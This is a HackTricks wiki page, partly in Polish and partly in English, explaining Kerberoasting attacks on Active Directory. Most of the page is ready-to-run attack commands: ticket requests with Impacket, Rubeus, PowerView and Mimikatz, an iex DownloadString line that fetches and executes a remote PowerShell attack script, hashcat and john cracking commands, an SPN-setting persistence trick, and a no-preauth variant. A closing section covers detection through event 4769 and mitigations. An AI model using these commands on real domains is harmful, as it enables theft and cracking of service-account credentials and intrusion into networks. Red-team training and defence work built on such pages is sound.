Kerberoast

Reading time: 6 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Sprawdź plany subskrypcyjne!
Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.

Kerberoast

Kerberoasting koncentruje się na pozyskiwaniu biletów TGS, szczególnie tych związanych z usługami działającymi pod konto użytkownika w Active Directory (AD), z wyłączeniem kont komputerów. Szyfrowanie tych biletów wykorzystuje klucze pochodzące z haseł użytkowników, co umożliwia łamanie poświadczeń offline. Użycie konta użytkownika jako usługi wskazuje na niepustą właściwość "ServicePrincipalName".

Aby wykonać Kerberoasting, niezbędne jest konto domenowe zdolne do żądania biletów TGS; jednak proces ten nie wymaga specjalnych uprawnień, co czyni go dostępnym dla każdego z ważnymi poświadczeniami domenowymi.

Kluczowe punkty:

Kerberoasting celuje w bilety TGS dla usług kont użytkowników w AD.
Bilety szyfrowane kluczami z haseł użytkowników mogą być łamane offline.
Usługa jest identyfikowana przez ServicePrincipalName, który nie jest pusty.
Nie są potrzebne specjalne uprawnienia, wystarczą ważne poświadczenia domenowe.

Atak

warning

Narzędzia Kerberoasting zazwyczaj żądają RC4 encryption podczas przeprowadzania ataku i inicjowania żądań TGS-REQ. Dzieje się tak, ponieważ RC4 jest słabszy i łatwiejszy do złamania offline przy użyciu narzędzi takich jak Hashcat niż inne algorytmy szyfrowania, takie jak AES-128 i AES-256.
Hashe RC4 (typ 23) zaczynają się od $krb5tgs$23$*, podczas gdy AES-256 (typ 18) zaczynają się od $krb5tgs$18$*. Ponadto, bądź ostrożny, ponieważRubeus.exe kerberoast` automatycznie żąda biletów dla WSZYSTKICH podatnych kont, co może prowadzić do wykrycia. Najpierw znajdź użytkowników nadających się do kerberoastingu z interesującymi uprawnieniami, a następnie uruchom to tylko na nich.

bash


#### **Linux**

Metasploit framework

msf> use auxiliary/gather/get_user_spns

Impacket

GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN.FULL>/ -outputfile hashes.kerberoast # Hasło zostanie poproszone GetUserSPNs.py -request -dc-ip <DC_IP> -hashes : / -outputfile hashes.kerberoast

kerberoast: https://github.com/skelsec/kerberoast

kerberoast ldap spn 'ldap+ntlm-password://<DOMAIN.FULL><USERNAME>:@<DC_IP>' -o kerberoastable # 1. Wymień użytkowników kerberoastable kerberoast spnroast 'kerberos+password://<DOMAIN.FULL><USERNAME>:@<DC_IP>' -t kerberoastable_spn_users.txt -o kerberoast.hashes # 2. Zrzutuj hashe


Multi-features tools including a dump of kerberoastable users:

ADenum: https://github.com/SecuProject/ADenum

adenum -d <DOMAIN.FULL> -ip <DC_IP> -u -p -c


#### Windows

- **Enumerate Kerberoastable users**

Uzyskaj użytkowników do Kerberoast

setspn.exe -Q / #To jest wbudowany plik binarny. Skup się na kontach użytkowników Get-NetUser -SPN | select serviceprincipalname #Powerview .\Rubeus.exe kerberoast /stats


- **Technique 1: Ask for TGS and dump it from memory**

Pobierz TGS z pamięci dla pojedynczego użytkownika

Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Przykład: MSSQLSvc/mgmt.domain.local

Pobierz TGS dla WSZYSTKICH kont nadających się do kerberoast (w tym PC, nie jest to zbyt mądre)

setspn.exe -T DOMAIN_NAME.LOCAL -Q / | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

Wyświetl bilety kerberos w pamięci

klist

Wyciągnij je z pamięci

Invoke-Mimikatz -Command '"kerberos::list /export"' #Eksportuj bilety do bieżącego folderu

Przekształć bilet kirbi do john

python2.7 kirbi2john.py sqldev.kirbi

Przekształć john do hashcat

sed 's/$krb5tgs$(.):(.)/$krb5tgs$23$*\1*$\2/' crack_file > sqldev_tgs_hashcat


- **Technique 2: Automatic tools**

Powerview: Pobierz hash Kerberoast użytkownika

Request-SPNTicket -SPN "" -Format Hashcat #Używając PowerView Ex: MSSQLSvc/mgmt.domain.local

Powerview: Pobierz wszystkie hashe Kerberoast

Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation

Rubeus

.\Rubeus.exe kerberoast /outfile:hashes.kerberoast .\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #Specyficzny użytkownik .\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap #Pobierz administratorów

Invoke-Kerberoast

iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1") Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast


<div class="mdbook-alerts mdbook-alerts-warning">
<p class="mdbook-alerts-title">
  <span class="mdbook-alerts-icon"></span>
  warning
</p>


When a TGS is requested, Windows event `4769 - A Kerberos service ticket was requested` is generated.

</div>


### Cracking

john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi


### Persistence

If you have **enough permissions** over a user you can **make it kerberoastable**:

Set-DomainObject -Identity -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose


You can find useful **tools** for **kerberoast** attacks here: [https://github.com/nidem/kerberoast](https://github.com/nidem/kerberoast)

If you find this **error** from Linux: **`Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)`** it because of your local time, you need to synchronise the host with the DC. There are a few options:

- `ntpdate <IP of DC>` - Deprecated as of Ubuntu 16.04
- `rdate -n <IP of DC>`

### Mitigation

Kerberoasting can be conducted with a high degree of stealthiness if it is exploitable. In order to detect this activity, attention should be paid to **Security Event ID 4769**, which indicates that a Kerberos ticket has been requested. However, due to the high frequency of this event, specific filters must be applied to isolate suspicious activities:

- The service name should not be **krbtgt**, as this is a normal request.
- Service names ending with **$** should be excluded to avoid including machine accounts used for services.
- Requests from machines should be filtered out by excluding account names formatted as **machine@domain**.
- Only successful ticket requests should be considered, identified by a failure code of **'0x0'**.
- **Most importantly**, the ticket encryption type should be **0x17**, which is often used in Kerberoasting attacks.

Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{$.Message.split("n")[8] -ne 'krbtgt' -and $_.Message.split("n")[8] -ne '*$' -and $.Message.split("n")[3] -notlike '*$@*' -and $_.Message.split("n")[18] -like '0x0' -and $_.Message.split("`n")[17] -like "0x17"} | select ExpandProperty message


To mitigate the risk of Kerberoasting:

- Ensure that **Service Account Passwords are difficult to guess**, recommending a length of more than **25 characters**.
- Utilize **Managed Service Accounts**, which offer benefits like **automatic password changes** and **delegated Service Principal Name (SPN) Management**, enhancing security against such attacks.

By implementing these measures, organizations can significantly reduce the risk associated with Kerberoasting.

## Kerberoast w/o domain account

In **September 2022**, a new way to exploit a system was brought to light by a researcher named Charlie Clark, shared through his platform [exploit.ph](https://exploit.ph/). This method allows for the acquisition of **Service Tickets (ST)** via a **KRB_AS_REQ** request, which remarkably does not necessitate control over any Active Directory account. Essentially, if a principal is set up in such a way that it doesn't require pre-authentication—a scenario similar to what's known in the cybersecurity realm as an **AS-REP Roasting attack**—this characteristic can be leveraged to manipulate the request process. Specifically, by altering the **sname** attribute within the request's body, the system is deceived into issuing a **ST** rather than the standard encrypted Ticket Granting Ticket (TGT).

The technique is fully explained in this article: [Semperis blog post](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/).

<div class="mdbook-alerts mdbook-alerts-warning">
<p class="mdbook-alerts-title">
  <span class="mdbook-alerts-icon"></span>
  warning
</p>


You must provide a list of users because we don't have a valid account to query the LDAP using this technique.

</div>


#### Linux

- [impacket/GetUserSPNs.py from PR #1413](https://github.com/fortra/impacket/pull/1413):

GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile "LIST_USERS" -dc-host "dc.domain.local" "domain.local"/


#### Windows

- [GhostPack/Rubeus from PR #139](https://github.com/GhostPack/Rubeus/pull/139):

Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:"domain.local" /dc:"dc.domain.local" /nopreauth:"NO_PREAUTH_USER" /spn:"TARGET_SERVICE"